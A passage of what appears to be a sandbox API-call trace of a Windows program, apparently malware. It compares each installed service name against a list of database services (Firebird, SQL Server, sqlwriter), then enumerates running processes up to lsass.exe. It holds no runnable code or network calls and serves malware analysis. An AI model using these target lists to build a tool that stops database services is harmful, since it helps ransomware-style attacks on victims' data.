(lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0301.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0301.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0301.967] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0301.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0301.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0301.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0301.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0301.967] lstrlenW (lpString="Audiosrv") returned 8 [0301.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0301.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0301.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0301.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0301.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0301.967] lstrlenW (lpString="BFE") returned 3 [0301.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0301.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0301.967] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0301.967] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0301.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0301.967] lstrlenW (lpString="BITS") returned 4 [0301.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0301.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0301.967] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0301.967] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0301.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0301.968] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0301.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0301.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0301.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0301.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0301.968] lstrlenW (lpString="CDPSvc") returned 6 [0301.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0301.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0301.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0301.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0301.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0301.968] lstrlenW (lpString="ClickToRunSvc") returned 13 [0301.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0301.968] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0301.968] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0301.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0301.968] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0301.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0301.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0301.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0301.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0301.968] lstrlenW (lpString="CryptSvc") returned 8 [0301.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0301.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0301.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0301.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0301.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0301.969] lstrlenW (lpString="DcomLaunch") returned 10 [0301.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0301.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0301.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0301.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0301.969] lstrlenW (lpString="DeviceAssociationService") returned 24 [0301.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0301.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0301.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0301.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0301.969] lstrlenW (lpString="Dhcp") returned 4 [0301.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0301.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0301.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0301.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0301.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0301.969] lstrlenW (lpString="Dnscache") returned 8 [0301.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0301.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0301.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0301.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0301.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0301.969] lstrlenW (lpString="DPS") returned 3 [0301.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0301.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0301.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0301.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0301.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0301.970] lstrlenW (lpString="DusmSvc") returned 7 [0301.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0301.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0301.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0301.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0301.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0301.970] lstrlenW (lpString="EventLog") returned 8 [0301.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0301.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0301.970] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0301.970] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0301.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0301.970] lstrlenW (lpString="EventSystem") returned 11 [0301.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0301.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0301.970] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0301.970] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0301.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0301.970] lstrlenW (lpString="FontCache") returned 9 [0301.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0301.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0301.970] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0301.970] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0301.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0301.970] lstrlenW (lpString="gpsvc") returned 5 [0301.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0301.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0301.971] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0301.971] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0301.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0301.971] lstrlenW (lpString="iphlpsvc") returned 8 [0301.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0301.971] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0301.971] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0301.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0301.971] lstrlenW (lpString="KeyIso") returned 6 [0301.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0301.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0301.971] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0301.971] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0301.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0301.971] lstrlenW (lpString="LanmanServer") returned 12 [0301.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0301.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0301.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0301.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0301.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0301.971] lstrlenW (lpString="LanmanWorkstation") returned 17 [0301.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0301.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0301.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0301.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0301.972] lstrlenW (lpString="lfsvc") returned 5 [0301.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0301.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0301.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0301.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0301.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0301.972] lstrlenW (lpString="lmhosts") returned 7 [0301.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0301.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0301.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0301.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0301.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0301.972] lstrlenW (lpString="LSM") returned 3 [0301.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0301.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0301.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0301.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0301.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0301.972] lstrlenW (lpString="MpsSvc") returned 6 [0301.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0301.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0301.972] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0301.972] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0301.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0301.972] lstrlenW (lpString="NcbService") returned 10 [0301.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0301.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0301.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0301.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0301.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0301.973] lstrlenW (lpString="netprofm") returned 8 [0301.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0301.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0301.973] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0301.973] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0301.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0301.973] lstrlenW (lpString="NgcSvc") returned 6 [0301.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0301.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0301.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0301.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0301.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0301.973] lstrlenW (lpString="NlaSvc") returned 6 [0301.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0301.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0301.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0301.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0301.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0301.973] lstrlenW (lpString="nsi") returned 3 [0301.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0301.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0301.973] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0301.973] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0301.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0301.974] lstrlenW (lpString="PcaSvc") returned 6 [0301.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0301.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0301.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0301.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0301.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0301.974] lstrlenW (lpString="PlugPlay") returned 8 [0301.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0301.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0301.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0301.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0301.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0301.974] lstrlenW (lpString="Power") returned 5 [0301.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0301.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0301.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0301.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0301.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0301.974] lstrlenW (lpString="ProfSvc") returned 7 [0301.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0301.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0301.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0301.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0301.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0301.974] lstrlenW (lpString="RpcEptMapper") returned 12 [0301.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0301.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0301.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0301.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0301.975] lstrlenW (lpString="RpcSs") returned 5 [0301.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0301.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0301.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0301.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0301.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0301.975] lstrlenW (lpString="SamSs") returned 5 [0301.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0301.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0301.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0301.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0301.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0301.975] lstrlenW (lpString="Schedule") returned 8 [0301.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0301.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0301.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0301.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0301.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0301.975] lstrlenW (lpString="SecurityHealthService") returned 21 [0301.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0301.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0301.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0301.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0301.975] lstrlenW (lpString="SENS") returned 4 [0301.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0301.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0301.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0301.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0301.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0301.976] lstrlenW (lpString="ShellHWDetection") returned 16 [0301.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0301.976] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0301.976] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0301.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0301.976] lstrlenW (lpString="Spooler") returned 7 [0301.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0301.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0301.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0301.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0301.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0301.976] lstrlenW (lpString="SSDPSRV") returned 7 [0301.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0301.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0301.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0301.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0301.976] lstrlenW (lpString="StateRepository") returned 15 [0301.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0301.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0301.976] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0301.976] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0301.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0301.977] lstrlenW (lpString="SysMain") returned 7 [0301.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0301.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0301.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0301.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0301.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0301.977] lstrlenW (lpString="SystemEventsBroker") returned 18 [0301.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0301.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0301.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0301.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b4 [0302.044] Process32FirstW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.044] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0302.045] lstrlenW (lpString="System") returned 6 [0302.045] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0302.046] lstrlenW (lpString="smss.exe") returned 8 [0302.046] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.046] lstrlenW (lpString="csrss.exe") returned 9 [0302.046] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0302.047] lstrlenW (lpString="wininit.exe") returned 11 [0302.047] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.048] lstrlenW (lpString="csrss.exe") returned 9 [0302.048] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0302.048] lstrlenW (lpString="winlogon.exe") returned 12 [0302.048] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0302.049] lstrlenW (lpString="services.exe") returned 12 [0302.049] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0302.050] lstrlenW (lpString="lsass.exe") returned 9 [0302.050] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, 